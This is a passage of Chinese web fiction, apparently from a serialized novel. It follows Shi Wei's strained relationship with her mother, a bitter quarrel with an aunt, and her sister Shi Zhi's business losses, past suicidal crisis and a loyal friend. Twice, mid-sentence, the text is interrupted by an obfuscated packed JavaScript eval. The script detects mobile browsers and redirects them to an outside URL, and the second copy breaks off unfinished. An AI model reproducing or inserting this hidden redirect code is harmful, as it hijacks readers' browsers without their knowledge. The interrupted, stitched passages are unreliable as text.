从小到大,石唯和父母相处很少,不懂如何亲近父母。因为一些前尘往事,她对母亲的亲近很抗拒。大二和暑假她和姐姐陪母亲逛街,母亲无意间牵了她的手,她想过也许是母亲牵错了,这本该是母亲和姐姐的亲密,当时焦虑得发抖,找准时机小心翼翼地抽掉自己的手。母亲只是没表情地微微侧头看了她不到一秒,转向另一边笑挽住姐姐并握住手,两人有说有笑。 这是石唯第一次和胡允华一起去买菜,她缺乏单独和母亲相处的技能,走在路上,内心翻涌着无数情绪,整个身体都是防备的状态,而母亲能坦然地做自己,这她觉得不公平。 “你这班上的,也只有这一桩好,做四休三。要是今天不休息,我们就不过来了,杨梅只能便宜你那个便宜爹泡酒了。”胡允华整理了一下自己脖子上的丝巾,“你打算在这村子里待一生吗?人往高处走,水往低处流。” “您是嫌我工作不好?这工作哪里上不了台面吗?” 在超市门口遇到了前同事代小娇和刘念慈。胡允华不想打照面,对方却热情迎上来。石唯先打招呼叫了人,代小娇笑盈盈地说:“胡姐,你带丫头一起逛超市啊?真是巧了,我出来过早顺便买些过十五的茶去娘屋送,碰到刘姐,就一路到超市逛了一逛。” 胡允华敷衍点头道:“嗯,是的。” 刘念慈看了她,又打量了一下石唯,皮笑肉不笑地说道:“胡姐,你这丝巾蛮漂亮耶。这是你家小吖头?早几年就说还不找朋友,现在嫁了吧?在哪里高就啊?” 胡允华心想真是出门就撞了晦气,好不容易退休了不用看到这冤家,都几年不见了,这人还是那么讨嫌,她把丝巾往肩后调平整,回道:“我家小唯在城南新街那边新搬过去的单位上班,社招岗。” 刘念慈没作声,代小娇打圆场:“这多好啊,外聘的也是正常上班啊,工作多稳定啊,再慢慢找机会考嘛。” 胡允华问代小娇:“月月身体好些了吗?” “现在好得很,她之前被裁员,回来调理了一段时间,和高中同学恋爱结婚了,就是那时候和你们说的家里在白坝村,父母养鱼的那个男孩。现在老公在养殖螃蟹,她帮忙打包礼盒到网上卖,我年底就当外婆啦。” 刘念慈蹙着眉有点鄙夷,说道:“你也真是不多操点心,居然让月月嫁到乡里去了。现在养螃蟹你开心了吧?还不避讳说出来。” “她自己过得蛮开心的呀,养螃蟹怎么了?反正我觉得蛮好的。”代小娇依旧笑呵呵的。 胡允华连忙和两人道别:“我们进去买菜了。”她拉着石唯的手腕就走。 挑西红柿时,石唯还是忍不住问:“我几时到城南的所里上班了?我还能考进那单位?原来我这么上不了台面?” “你姨父早就要介绍你去他们单位,那时候你去同学那边上班就拒了。现在姨父可是二把手了,你要是想进去他还能想办法。刚才那个刘阿姨,女儿在保险公司,她还非到处说是在银行当理财经理。我说你是城南新路的单位有什么问题?”胡允华漫不经心地回着,专心挑着瓠子。 “您替姨父想一下吧,说的好像他能滥用职权把我塞进去一样,就算能,也不能让他担这风险啊,你要害他吗?姨父只是升职,又不是登基当皇帝。而且,我的工作难道不问我的想法吗?刘阿姨她怎样和您无关吧,干嘛因为别人介意什么,自己也介意什么,保险公司上班怎么了,有什么不好意思说的。”石唯把西红柿的皮都快磨破了。 “买黄骨回去让你爸红烧吧,上次去梁溪看你姐,那个阿芬烧了蛮好吃的,他们那边叫‘昂刺鱼’。”胡允华绕开话题。 “妈,爸不吃无鳞鱼。” “谁说的,我怎么不晓得,你听哪个人说的?他不是常烧鳝鱼吗?” “是外公外婆爱吃,这么多年他从不吃无麟鱼……我去挑两条吧。” “哦,这样啊。”胡允华有点尴尬,放下手里的茭白和石唯一起走向水产区,“对了,你姐姐也真是的,也不知道她怎么想,公司的财务都是那个小芬在管。以后不知道会怎样,我总觉得这样不太好。” “妈,您得亏不是生的儿……呃……您不要像有些婆婆挑剔儿媳一样刁钻。小芬姐本来是念机械的,为了帮姐姐差不多都快把CPA考出来了,不到姐姐这里工作,也不愁找不到好位置,我还觉得她到姐姐公司是屈才了。再说了,这几年生意是很好做吗?管财务很轻松吗?怎么不说公司法人还是小芬姐呢?人家还担着这种风险。你说上次她烧的黄骨好吃,平时也是小芬姐做饭吧?反正姐姐和我在一起没做过家务。都这样了,您还在想什么啊?搞得谁要害谁一样。”石唯庆幸自己字蹦得慢,差点说错话了。 “唉,我真是不知道她们以后会怎样,感觉没保障。我是你姐的姆妈,当然心疼她。我怕她过不好啊!我和你爸死了她怎么办?还有你也是的,我都不知道怎么说了。”胡允华直叹气,水缸里的鱼看上去也蔫蔫的,她拉着石唯说不买了。 “想吃就买嘛,怎么老因为别人影响心情?您总是在意外界看法。”石唯还是想帮母亲挑鱼。 “你不要说了,你这话就是在怪我!算了算了,你也不兴说我了,就是想扯之前超市门口的事。你就当我虚荣,行了吧!”胡允华焦躁起来。 石唯这辈子最讨厌,讨厌到头皮发麻的话就是“算了,算了”,这是她成年后,母亲对她说过无数次的话。她知道母亲想亲近她,却又无数次用言语把她推向更远处。 回去路上,胡允华主动打破沉默:“现在工作还顺吗?你同学对你还可以吧?” “这份事没做了,上周离职了。” 胡允华停下脚步,瞪眼看着石唯:“你怎么总是这样?什么事情都不和我们说!既不商量也不告知。是你同学把你踹了吧?刚才还怪我瞎操心你姐,你看,熟人一起上班就是这下场!你这年纪又没成家又没工作,打算怎么办?你有什么规划吗?能不能放过我,让我少操点心啊!我还想多活几年,你让我在你爸爸面前根本抬不起头来!”她提着菜大步往前走,一路嘟囔抱怨。 午饭石爸烧了红烧黄骨鱼、蒸菜回锅、瓠子肉圆汤、皮蛋豆腐拌馓子、清炒藕带、辣炒藕丁菱角,石唯洗了杨梅。 “没买排骨?石唯爱吃糖醋排骨。”石爸给石唯舀了个肉圆,看着胡允华说道。 “我又不晓得她吃什么不吃什么,未必这里六个菜都不够吃吧?你们有本事不要剩。” 石爸冷着脸看了妻子一眼,轻轻摇头,自顾自地倒了杯酒。胡允华只吃了鱼,没动别的菜,快速吃完后,把碗筷丢进厨房水池。 饭毕石唯洗碗,石爸拿过围裙系上,让她去忙自己的事。 白天还算相安无事,傍晚时分,四姑妈提着一袋米团子和一只八须卤鸡来访,嗓门颇响:“哎呀,店里生意忙死了,我这会才得闲,打电话石磊不在家,要我不用送东西。过十五我怎么能不送茶呢?硬是问出你们在娘家,这才寻过来。允华,你这身衣服好看得咧!石唯呢?我就是知道她喜欢吃米团子,买了十五个米团子,各个馅料的都有呢。” 胡允华很冷淡:“这是家里打扫穿的便服。石唯在房里锁门了。” 石唯开门,不想让四姑妈进房间。她打完招呼就引着四姑妈往天井那边走。 “小唯啊,做人要开朗点,不能老关在屋里。哎哎哎,怎么推姑妈?你的房门进不得?”四姑妈推着门要进去。 “姑妈,到外面说话方便些,房间我妈刚拖过地了。” 也许是想到了石唯从前到最近的抗拒,胡允华很不客气地喊道:“你推她推得吓死人,推什么推?我拖了什么地?” 石唯忍住了没作声。 “就是的啊,推我做什么?我给你买了米团子,你看,我知道你喜欢吃。”四姑妈翻开袋子。 “姑妈,我从不吃糯食的,除了炸糍饭糕。我妈爱吃。”石唯略尴尬道。 胡允华插言:“她就是喜欢推人,谁都推。不知道是翻了什么巧!” “你怎么会不喜欢?你就是喜欢吃米团子,我不会记错。还有卤鸡子,快放到冰箱。”四姑妈把东西往石唯手上推。 石唯放好东西,听见胡允华在嘟囔“不晓得什么德行,推这个推那个……”,受不了要走向胡允华。四姑妈夸张地拦过来,用吆喝般的大嗓门急切说道:“啊呀,你这三十岁的人了,不要和你姆妈置气了。怎么像个小伢一样?有空多来姑妈家玩啊,姑妈和你一个姓,这么亲的人!你现在有班上吧?那年病了快一年半没有上班,现在要谈朋友了呀,三十多了,还让你爸操心。” 石唯刚想回房,四姑妈凑到看着手机里运动健身视频的胡允华身旁,说道:“允华啊,不是我说你,做姆妈的要操心呀!你两个伢都没团圆(结婚),石植现在能赚钱,又不可能结婚生孩子了;石唯之前得了精神病,去年还是前年的那个男朋友还是结了婚的。伢还是太脆弱,承受能力差,恋爱又谈少了,不然怎么这么容易哄骗。你要抓紧找人给石唯介绍对象,不能再把她年纪捱更大了,介绍时要瞒着去年的事呢,免得别人搞不清楚了状况说她当过小三。” 石唯在旁边听完,真的变成陈齐嘴里的“口口”了,像块石头立着目瞪口呆,她想起了初中日语老师的口头禅——“简直不可思议”。 胡允华怒了,脸皮都拧在一起:“你是什么意思?什么叫石植不可能结婚生子?你听谁说的?谁是精神病?” “你不要这激动,我是她们的姑妈,能有什么坏心思?我还不是担心她们以后日子不好过啊,是别人我也就不多这个嘴了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988380|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲戚们都晓得你们家的事,你们这两年婚丧嫁娶都不出席,大家也不好关心你们。”四姑妈要胡允华控制下情绪。 “我……我激动你娘!”胡允华肩膀都在发抖。 “你也是个体面人,怎么还骂起来了?” 胡允华像机枪扫射一样反击:“从来没有见过像你这种奸狡的人,一个嫁出去的姑姐,手伸这么长管到娘家,我既不欠你什么也没有受过你恩惠,需要你当姆妈来教训我怎么管理家事?我妈没死!你家不是生意很忙吗?你不操心自己儿女,这么好心来操心两个同姓的侄姑娘?你拿了八十万支援元子在华亭买房,她嫂子闹了你好几次吧?儿子撑不起生意,又只听媳妇的话,你要操不少心吧?你催元子结婚,催到最后嫁了个什么玩意儿,一家都是算计货色的男的,首付一百五十万全是她出的,现在生了孩子,月子没人管,婆家欺负她,你帮过吗?当初你催婚可是很急的呢!石植还去看了她好几次,你这个做姆妈的还没去过吧?儿子扶不上墙,谁晓得以后你家生意怎么样;女儿活见鬼嫁错郎,迟早要脱几层皮。你有空多操心操心自己吧!” 四姑妈绷不住了:“你这个人心太狠太枯了,这些话你都说得出来!你不是人!” “是是是,我不是人!你们家兄弟姐妹都是人呢!你那些嚼牙巴骨的亲兄弟姐妹,能传我家事就能到处说你家事!都是恨人有笑人无!你快点滚出我家!”胡允华的拳头攥紧,手上青筋暴起。 石唯太阳穴又痛又麻,像有无数针在扎,从小就厌恶父亲的家庭,在此刻达到顶峰。她不敢想妈妈这些年过的是这种屈辱和绞痛的日子。 接下来的两个小时,胡允华用力地打扫卫生,扫帚砸地,拖把甩水,自言自语念着骂着:“推推推,推这个推那个,把日子过成这半死不活的样子。” 有流浪母猫生了几只小猫,在厨房和邻居家房子交界的手掌宽的墙巷里。石唯看母猫带着四五只小猫儿寻活路,怪可怜的,她会在墙巷旁放些剩饭菜。 母猫带小猫想从天井进门,胡允华吼道:“死起走,还敢到家里来了,老子把你砍死了算了。”说罢轻轻带上门。 石唯知道她不过是放狠话,算是拿猫出气给她看吧。她在房间过了很久,还是半推开门,探出半个身子看着胡允华那边说道:“妈,我哪里得罪您了?” 胡允华丢掉拖把崩溃大吼:“你不要动不动就来问我礼行?我和你说话都小心翼翼。我问心无愧,对得起你!这个家里的大人有什么错?开心不开心都是你自己造成的,你过得不好是你自己造成的。我们不在一起生活还好,在一起我还要看你脸色,影响心情。我不知道我做错了什么。你的今天都是你自己造成的!” 石爸从村子里的棋牌室看牌回来,看到胡允华和石唯一个崩溃一个呆傻的样子,忙问道:“怎么了?又怎么了?” “她总是要问我礼行?纵然我有千般错,我也绝对对得起她。你四姐像个疯狗一样,又不是元宵节还拿米团子过来。我说了你女儿几句,她好像要和我讲道理一样,被她那个疯姑妈拦住。你的疯姐有什么资格教训我?你们家兄弟姐妹都有病!我们家日子怎么过关他们什么事?我怎么会嫁到你这种复杂又恶心的家庭!我又没疯,明明都是你们家逼我的,你们最疯!你为什么这么无能,要和这些人来往?要让我们一家忍受这种欺负和侮辱!”胡允华哭出声来,蹲了下去。她不肯在这边留宿到第二天过农历五月十五,石爸偏喝了酒没法开车,她笑着说:“我也不用靠你,现在网约车都能进村子,我还怕回不去?” 胡允华走后,石爸打开冰箱沉默了一会儿,把装着米团子和卤鸡的袋子拿出来,走到天井那边打开侧门,甩了出去。 他转头对石唯说:“你知道四姑妈为什么要来?为了买米团子你吃?昨天白天我和老同事到老家石口村钓鱼,看见你四姑妈提着大包小包去给你伯父家送茶礼,村口撞见我很不好意思,还问我怎么回老家了。哼,回老家?我在老家连宅基和祖屋都没有,至于为什么,他们心里都清楚。你以为你四姑妈想来这边送茶吗?她是来看笑话的。每次都是买点乱七八糟的东西过来哄啊骗啊打发人,把别人家里搞得鸡飞狗跳,好像谁稀罕她的破烂东西一样。你不要惹你妈伤心,我们才是一家人。” 石唯回房心想:难道不是爸和亲戚划清界限,才能让妈不那么伤心吗?这么多年过得什么破烂日子?四姑妈还会装一装,其他装都不装的刻薄势利眼们,给了妈不少气受吧?四姑妈和陈齐说了同样的话,都是“因为恋爱经验不足,所以感情结果惨烈”,她觉得真的很恶心,这还是受害者有罪那一套,说来说去可以总结为:我就是看不上你,想说你活该,用委婉点的方式说出来当可怜你。 想到妈妈,“力的作用是相互的”,原来我们在对方身边都压力很大,很束缚,不自由。“小心翼翼”吗?我是时候离开了吧。母女缘分从来不只有亲近一种,我只要接受我和妈没那么亲近就好。小时候总是有说不出来的痛苦:没有感受到父母对自己有多少爱,可是他们对自己的要求好多啊,为什么,这很不公平。现在想来,妈妈只是对我没有好奇,她并不想了解我,只要我们的生活看上去是在世俗安全规范下正常运行就好了。面对外界,这是一个正常的稳定的家庭,家庭成员符合公序良俗,这就够了,至于这些成员怎么想,无所谓。她甚至不知道自己怎么想的,她只是在不知道的基础上更关心自己的世界,她连自己的世界是怎样的都没有搞明白,我却妄想她对我有了解的想法,就像我从来没有试图去了解她。真是好寂寞! 早上出门的时候窗户都没开,胡允华回到家里,感到十分闷热,更加喘不过气来。她走到阳台的摇椅边,躺下去,往事不堪回首: 本以为结婚是幸福的开始,丈夫家务全包,人也开朗幽默。那时在西北工作的丈夫还没在当地买房子,她怀孕住在娘家,两人总是通信。有次婆婆和大姑姐还有四姑姐来她娘家看她,带了好多礼品,和她父母寒暄过后,带她去医院产检。她本以为是检查胎儿是否健康,去了才发现医生是大姑姐熟人,一种不好的感觉涌上心头。检查完毕,婆婆板着脸,大姑姐和四姑姐也不热情,几人走在她一个孕妇的前面。最后婆婆扭头对她说:“你去给他打电话。”在公共电话亭,她终于等到丈夫接通电话:“你妈带我来检查,现在她要我问你怎么办?”她气到想哭,又委屈,是吼着说的这句话。丈夫回道:“神经病吧?你当她们放屁好了,哪有头胎都不生的。”她后来想过,如果丈夫说“不”呢?她和她孩子的命运难道要别人决定?她自己呢?婆婆和姑姐在丈夫不在家时骗她出去做检查,摆明就是欺负人,丈夫为什么不明确表明立场和底线?谁都能干涉她,她的家庭,还有她未来的孩子吗? 结婚前就知道他兄弟姐妹多,家里也不和睦,她想着他们以后会在外地生活,切断这复杂的联系,没关系。也在西北一家三口过了一段幸福日子,她很满意。谁又能知道时代会有什么变动,生活有什么变化呢?总之,他们回来了。他们家想再要一个孩子,他影响工作都再要一个孩子的决心让她震惊。这次她去的是丈夫朋友太太所在的医院,那个朋友还说要给孩子当干爹。知道检查结果后,石家像是石头里开了花一样高兴,对她很关心,除了只生了女儿的孩子伯母对她有明晃晃的厌恶。爷爷给还未出世的孩子取名“石唯”,这孩子是家族的唯一。孩子出生的时候,产房里外变脸的石家人让她觉得恶心又好笑。她觉得自己更好笑,有了对丈夫的无限怨,真想用床边的玻璃花瓶狠狠砸他的头,砸死他。花瓶里的太阳花是他特地买来的,几天没人换水,水发浑发臭,花也蔫了。 丈夫好友一直道歉,说太太信佛,没想到会这样。胡允华还是让石唯认了丈夫好友做干爸,这样他的医生太太就是孩子干妈了。可不是嘛,那女士就是石唯的再生父母。只是丈夫和他好友,还是渐渐疏远。 满打满算,石唯和他们一起生活了四年。之后,她跟着外公外婆生活,高中在学校附近租房一个人住,大学离开家乡。胡允华知道女儿和自己很难亲近,但她不理解女儿的痛苦,不懂女儿有什么好痛苦。七年前,女儿的精神状态奇差,去医院诊断抑郁时,她不明白到底发生了什么,好端端的女儿怎么就精神出问题了,会疯吗?更让她迷惑的是女儿对她的控诉,几百几千字的长文似乎在佐证她是个不称职的母亲。很长一段时间,她不敢刺激女儿,也害怕收到女儿发来的讯息,她很想和女儿吵一架,问问自己到底哪里有问题“你的人生变成这样都是我害的吗?”。 石唯在老屋不出门一年半,胡允华实在受不了。她去看女儿时,知道女儿就在卫生间,她故意在隔壁饭厅大声向丈夫控诉女儿,女儿当晚买高铁票离开。她知道女儿在外工作的那些年肯定很辛苦,女儿又从来不会开口对他们提要求,是怎么过过来的?还是夜里整夜整夜睡不着,整夜整夜哭吗? 当年为了保住丈夫的工作,女儿必须和他们分开。她承认自己是个没耐心的人,在女儿五岁那年失业了,近四年“吃闲饭”的日子不好过,每次去娘家看孩子,她只觉得屈辱,动辄对石唯发火痛骂。这个不聪明也不漂亮的孩子,总是怯生生的,怕面对大人,在学校被同学欺负也不知道还手,学习成绩惨不忍睹,在小学五年级才好转。胡允华早已忘记了和石唯本就不多的相处细节,或者说不愿想起。 她还记得自己的情绪,对石唯的不耐烦和挑剔,不知道那时是在厌恶女儿,厌恶自己,抑或是厌恶生活本身。她也不知道为什么会这样排斥女儿。 女儿小时候明明是个在雨天怕路中间的那些蜗牛被踩死,会把它们捡到路两边草丛的孩子。她却骂女儿不讲卫生,看她踩破一只蜗牛壳后不敢哭出声忍着眼泪的那孩子,被她一边扒一边推进家里还是喊着“妈妈,对不起”的孩子。 想到这里,悲从中来。为什么会对幼年的石唯有那么多的厌恶和疲倦?石唯承载了无数笃定和希望还有和谐生活的可能重重落地摔碎后的怨气。她想起丈夫那天说石唯的工作是“狗肉上不了筵席”,似乎明白了那没来由的怨:不是石唯做错了什么,所有的痛苦和悲剧只因石唯不是那个被期待的“唯一”,而她胡允华,只是个女人。 胡允华想要体面的生活,做体面的人,人生的痛苦却指向一个“狗肉上不了筵席”的原因。因为不体面,要为所有人盖上遮羞布,那就可以说“活该”。那个孩子不够完美,那个女人没有生出完美的孩子。大家一起自我欺骗,继续催眠。 13. Youll see 接到石植电话时,杨树奇刚忙完一个花园花境项目。 “大直?怎么了?”杨树奇有点担心。 “噢,我误触的!大树,你怎么凌晨三点还没睡?”石植有点不好意思。 “忙了一周刚结束,在整理照片做案例——花境设计单子少,没什么经验,做成案例好宣传,要不然鬼才会这时候接你电话。”杨树奇打了个呵欠。 “我明天去你那边方便吗?去店里找你还是约别的地方?” “嗯?你怎么突然回来了?先到店里见吧,要是在江城有事办,就别订酒店,住我家里好了。” 早上十点,杨树奇到店,见石植正坐在窗台椅子上喝咖啡。 “小纪打电话说,我朋友店门没开就蹲门口了。咱们不是约十一点吗?”杨树奇看着石植耳边翘起的头发。 “反正睡不着嘛。你也不多睡会儿,你看你的眼睛,咱们是熊猫碰头,四圈相望。”石植没什么精神,把桌上的饭团和养乐多推到杨树奇面前。 杨树奇走到花店后的小房间,挂好外套、放好包,才到石植对面坐下。 “给你带了杨梅和水蜜桃,昨天放冰箱存了一天,应该没坏,让你们花艺师放花的冰柜了。”石植指向操作台。 “办别的事还带这么占地方的东西,不嫌累赘啊?一路带着要累死了。你这半死不活的样子,来江城干嘛?”杨树奇有点担心石植,又实在看不惯她那翘起的头发,够着身子去把她头发捋到耳后,“说吧,我听!” 石植去黄州要货款,对方拖了大半年的款,直接连人影子渣儿都没有了。她没有办法只能亲自跑一趟,结果知道对方进去了,说是骗了不少浙地的老板,在维权的就好几个,梁溪被坑的可能就她一个。 “我的娘啊!这种事你也不说,一个人跑到不熟的地去要钱也不怕出事?还有,又不是第一次上当了,怎么还敢接不熟客户的单子?黄州离复州又不远,都到家门口了也不跟熟人同行打听一下?现在人关了,几十万打水漂,赚一毛钱都难得很……”杨树奇声音高了些。 石植很无奈:“你就不要怪我了,责怪是最容易的,你以为我听的还不够多啊?” 杨树奇叹气:“对不起,我是怕你像七年前一样。你的生意好不容易才稳定。” “要不是生意难做,哪会接这种单子?我想着量大走量有利润,苍蝇腿也是肉,工厂没单子工人也慌。外贸单子这两年少了太多,这个月还要再跑日本几趟。”石植看着见底的杯子起身。杨树奇按下她,从冰箱拿了矿泉水拧开递给她。 石植狂饮大半瓶,舒了一口气:“大树,店里怎么不放歌?放歌吧,我不想再听对面奶茶店的‘冰雪甜蜜蜜’,脑壳疼。” 杨树奇苦笑轻推了石植一下,起身打开展示架上带蓝牙的永生花水晶球。 “有时候交谈变得空洞沉默却像沟通 当情人那么沉重当朋友反而轻松 有时候孤独可以寂寞也可以是自由 能安慰自己的人比较容易快乐” 石植和杨树奇是初高中同学。初中时石植活泼,每天到教室门口大喊“早上好”,不少同学调皮地回“早上不好”。她印象里杨树奇就是一个个子高高的文静女孩。有女同学聚在一起议论杨树奇“高傲不合群”,石植劝道:“人家安安静静看书,和你们都没交集,怎么‘高傲’了?说不定只是不喜欢吵闹,就像我喜欢吵闹一样。我要说你们是看她漂亮才这样讲,你们肯定觉得冤枉,那就不要乱讲别人嘛!”她笑嘻嘻的,得益于平时的好人缘,女孩们没说她多管闲事,都散了。初中三年两人座位隔得远,基本无交往。 高中又同班,见面会互相点头打个招呼。石植那段时间很困惑,尽管这个困惑已经存在了几年,她一直用开朗和活泼地向外交往来覆盖想探索的问题,不去想就可以短暂地当作问题不存在。 高一下学期,石植咨询一位高三的师姐,交流后师姐问她:“你想过把头发剪很短,或穿酷一点男装款式吗?” “完全没有,我还蛮喜欢长头发,做造型方便。” 师姐像看傻瓜般看她,斩钉截铁地说道:“那你不是,完全不是!不要再瞎想了。” 石植更困惑了,不觉得和头发服装有关系,重要的不是她的感受和想法吗?双重困惑下,她背着父母剪了寸头,还学师姐戴了耳钉。她妈妈看到后惊呆了:“你要搞学习也不至于这样吧?剪短头发就剪,用不着剃啊?高考完不好留长!”或许成绩好是保护色,妈妈以为她为了省事,只是操作得不够完美。 石植的短发引起了议论,有同学说她“哗众取宠”,她也不当回事,确认自己就好。没过多久,妈妈调到城郊的药房,权衡之下,打算让她暂时住校。她询问住宿同学入住流程后,课间写了申请单,打算交给老师,这时有同学来找她了。 “石植,班里宿舍只有我们407还有床位,你申请住校就肯定是住我们宿舍。”小唐同学站在她旁边说道。 “好呀,我申请通过应该一周后就能搬进去。” “不是的,我是希望你不要搬进来。毕竟要考虑我们其他住宿同学的感受。”小唐声音有点发抖。 “啊?我怎么了?”石植想不出自己哪里得罪谁了。 小唐无奈地说:“大家都晓得,只是没有说!你之前跟高三师姐说话,有人看到了。高三那个师姐谁不晓得啊?她不正常!你现在这样子,不是和她一样吗?你住进来,只顾自己不管我们在住同学的感受吗?” 石植完全不知道怎么回话,她不懂小唐口中的“现在这样”是怎样。 同学们都看着两人,去饮水机打水的杨树奇停下了,对小唐说:“同学,你这样说话很好笑。什么‘这样’‘那样’?除非别人自己说,你有什么资格判断或者替别人说?就算是你说的‘这样’,那我喜欢桃子,你有桃子,我就会抢你的桃子对你造成威胁吗?桃子还有油桃、毛桃、水蜜桃、黄桃、蟠桃呢!我没有审美和喜好吗?你不要想太多哦!人家正常申请宿舍,你先住的还管上后来的,手伸太长了吧。” 小唐有点生气:“同学,我和你不熟,你不要说我手伸太长,也别扯什么桃子不桃子。又不是你住在宿舍,你有什么资格说?不止是我,其他四个同学也不愿意,是她们人好脸皮薄,我才来当这个坏人。不信让石植去问啊!反正她坚持住就别住407,不然我们肯定会跟老师反映。” “你要不要再多反映张三裙子短,李四袖子长,我的头发卷?搞笑嘛!”杨树奇不屑地哼笑,小唐被气走。她继续去打水,石植拉住她校服衣角。 “我还真有桃子,还有这个,你要不要?”石植从桌屉里拿出黄桃罐头和旺仔牛奶。杨树奇两个都接下,笑了笑,继续走向饮水机。 这件事后,她俩交往多起来,成了好友。一次大课间散步,石植问梁树奇:“你都不问吗? “有什么好问的?” “你……不介意吗?”石植低头吞吞吐吐。 杨树奇停下:“你介意我高吗?人家喊我‘烟囱塔’” “高矮胖瘦是正常身体表现,有什么好介意的。” “那我怎么会介意你?不过我想说:你长头发真的好漂亮,像侠女。看过《空山灵雨》吗?” 高三的时候,一档选秀节目很火,里面有很多唱歌好有魅力短发女孩,路上剪短发当潮流的女性多起来,这时就没人再说头发太短了。 高考完没多久,石植得知梁咏琪要到江城参加签售活动。杨树奇很开心,要拉着她一起去。石植还记得那是2004年6月18日,记得这么清楚是因为她们天没亮就出发往江城赶,还是晚了,现场密密麻麻都是歌迷,杨树奇机智地拉着石植坐到了马路对面的树上。石植都不知道自己怎么上的树,只觉原来杨树奇比自己活泼多了,对方笑着回:“休想说我疯!” 天下着雨,她俩坐在树上挽着手,遥望街对面正在签售的偶像。那是青春里最美好的一天。 七年前,石植创业失败恰逢分手,她很受挫。回到家里,父母劝她考公务员,或者先去父亲好友入股的私立学校边教书边考教资,她都不愿意。石爸发火:“你们一个两个想怎样?造反吗?你妹妹躲在你胡爹爹老屋不出门,你自己把生意做塌伙了怪谁?不打算找出路吗?你们都不上班不结婚,我和你妈死了你们怎么办?” 石爸看着石妈,石妈焦躁地对石植说:“你妹妹再这样就没救了,我怕她会发疯!你别再逼死我了!不听你爸的建议就快点结婚,我们家两个伢不能一个都不团圆(成家)!人家说有一头没一头,你快一头都图不上了!人哪能不过正常日子?” 石植崩溃了,她不管不顾地吼了出来,她不知道到底什么才是父母说的“正常生活”,那“不正常”怎么办?去死吗?可是说完她就后悔了,自己还没有准备好…… 石爸呆坐在沙发上,震怒后甩掉老花镜和手上的报纸,低吼着走进房间,关门前狠盯石妈。石妈宁愿自己当场就死了,不用面对这些,她一下子坐到地上哭起来:“你们都疯了,要把我们做父母的逼死!你这样子我也管不住,我怎么能放心?你这样让家里当老人的,怎么闭得上眼睛?”桨红色地板上的眼泪像钝刀子拉肉渗出的血水。 石植去了外公的老屋,去看看妹妹,也要做最重要的事。不知道妹妹已经在老家一段时间了,石植见到妹妹觉得她状态还不错。石唯见她没吃午饭,给她煮了面条,面里埋了两个鸡蛋。 “小唯,你怎么都不出门的?” “我之前每天骑自行车拿着剪刀去野地里剪花草回来插瓶,不知道村子里谁传我拿着剪刀乱跑有‘精神病’,传到初中班长耳朵里了,他打电话到我之前单位问情况。也不知道他怎么查到的,不直接打电话问我,费这么大劲。我不想出去了,麻烦!”石唯从后院树上摘了小毛桃子洗好端给石植,“姐,你喜欢的小桃子。” 石植都不知道说什么了,怎么到处都是窥探别人生活的人? 石植一下午在阁楼,石唯喊她吃晚饭,她吃完对妹妹说要去散步,走前抱了妹妹:“小唯你要好好的!从小到大我都没有怎么帮过你,对不起!” 最困难的时候,爱人哭着要分手,说要和家里安排的对象结婚了。高中时她和杨树奇看武侠电影,曾好奇地问:“真的有人会像武侠片里的女人一样,怨到狠咬自己侠客爱人的肩吗?”在今日今时,她知道了答案。她多想去狠咬一口爱人的肩,她那么愤怒,最后无数的怨却化在拳头上捶向了自己。在这段感情里,两人都是那个哀怨者,没有侠客。 河对面有五六头水牛,有一头有点狂躁,在岸边和浅水里来来回回、上上下下,伴着不安的哞叫声。这不安的鼻音让石植愈发焦躁,心慌,天灵盖发麻。绿道桥上竹林旁的屋子隔着铁丝网养了鹅,对面牛叫,这边鹅也伸着脖子叫,她只有眼泪顺着流,哭不出声。 河岸边的野胡萝卜花开了,皱叶酸模抽出了绿色的花穗,老构树的紫皮枝条布满血管痣般的麻点,橙红发绒的构树果子引来白头翁啄食。太阳下山,大片橙云映在河面,深绿发黑的河看上去像是糖浆。 杨树奇打了好几个电话都被石植摁掉,再一次电话响起,石植揩掉眼泪呼了口气后接起,对面传来杨树奇的咆哮: “你这个砍脑壳的到底在哪?是不是疯了!你妹妹的电话你是一个都没接,她到处在找你!你到底是准备到哪里一个人寻死!” 石植蹲下来哭出声,杨树奇哭着让她别挂电话。 石唯赶过来时,对着杨树奇那边的座机说找到姐姐了。 “你找这么个破地方,你家水泵那边排的都是生活废水!生意亏了就亏了,负债就找亲朋凑,不负债想再开始就找我们一起想办法,我有钱匀给你!分手就去他娘的!那时候我订婚黄了,老头子脑出血,宠物也没法跟我,你不也是要我坚强点?”杨树奇嚎哭,“念书时说我每年的桃子你包了,老子可是要活一百岁的,你现在想死门都没有!实在过不去就来我这边,店子忙得要死,马上七夕了,过来打杂,我需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后石植回梁溪,发现行李箱内侧拉链拉开有纸包着的三万元现金。石爸也给她转了几笔钱,尽管还是不和她讲话。妹妹自己都那样,是怎么跟爸妈说的呢?石植很愧疚。杨树奇也转了钱给石植,她发的消息是:“大直,没关系,我这几年赚了不少。你先渡过难关,不要有思想包袱,人只有轻装上阵才能好好赶路。我永远支持你,精神上和经济上都有余力!” 石植从不觉得她是靠自己才重新站起来,若事业上小有成就,是因为得到了很多关怀和爱,是被很多人接住过的运气。 店里放歌的永生花小音箱没电了,花艺师小纪换了电脑放歌。 “多年时光都温柔经过 那么多人来了又走 但也许我们只能远望不相逢 一个人渐成熟就会笑著泪流 总有些遗憾要学会放开 活到这把年纪也该明白” 杨树奇问石植:“这次手头紧吗?我可以匀给你……” 